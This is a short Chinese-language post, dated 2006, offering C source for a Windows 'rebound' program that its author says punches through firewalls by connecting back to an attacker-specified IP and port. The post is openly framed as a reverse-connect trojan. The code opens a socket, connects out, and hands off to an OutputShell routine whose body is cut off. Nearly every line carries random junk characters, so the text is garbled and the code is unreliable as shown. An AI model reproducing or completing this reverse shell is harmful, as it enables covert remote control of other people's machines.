这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LHKawEZ
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/* ============================== Af1mTbf=
Rebound port in Windows NT i[@*b/A
By wind,2006/7 {e0cc1Up}
===============================*/ v/\l
#include :CNWHF4$
#include ZY +NKb_
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#pragma comment(lib,"wsock32.lib") f{AbCi
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void OutputShell(); #g\O*oYaw
SOCKET sClient; pJ"Wg@+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X0+$pJ60
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void main(int argc,char **argv) ?V"X=B2
{ DzYi>
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WSADATA stWsaData; 5X4; (Qj
int nRet; ".onev^(
SOCKADDR_IN stSaiClient,stSaiServer; a,U[$c
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if(argc != 3) 5;oWFl
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); i-~HT4iw
return; z{Z'2 ,#
} 6%~ Z^>`N
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WSAStartup(MAKEWORD(2,2),&stWsaData); =o;8xKj
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g"c\ouSY
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stSaiClient.sin_family = AF_INET; ;*5$xs&=_Z
stSaiClient.sin_port = htons(0); "C&l7K;bp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pca `nN!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) URdCV{@42
{ Lqq
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printf("Bind Socket Failed!\n"); cm@q{(r
return;
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} Pp3<K649
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stSaiServer.sin_family = AF_INET; +KgLe> -}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FY+0r67]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w4P?2-kB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q^>"AhOiU
{ / CEn yE/
printf("Connect Error!"); 8+5#FC7
return; 9`VgD<?v
} Fy37I/#)r&
OutputShell(); c1B<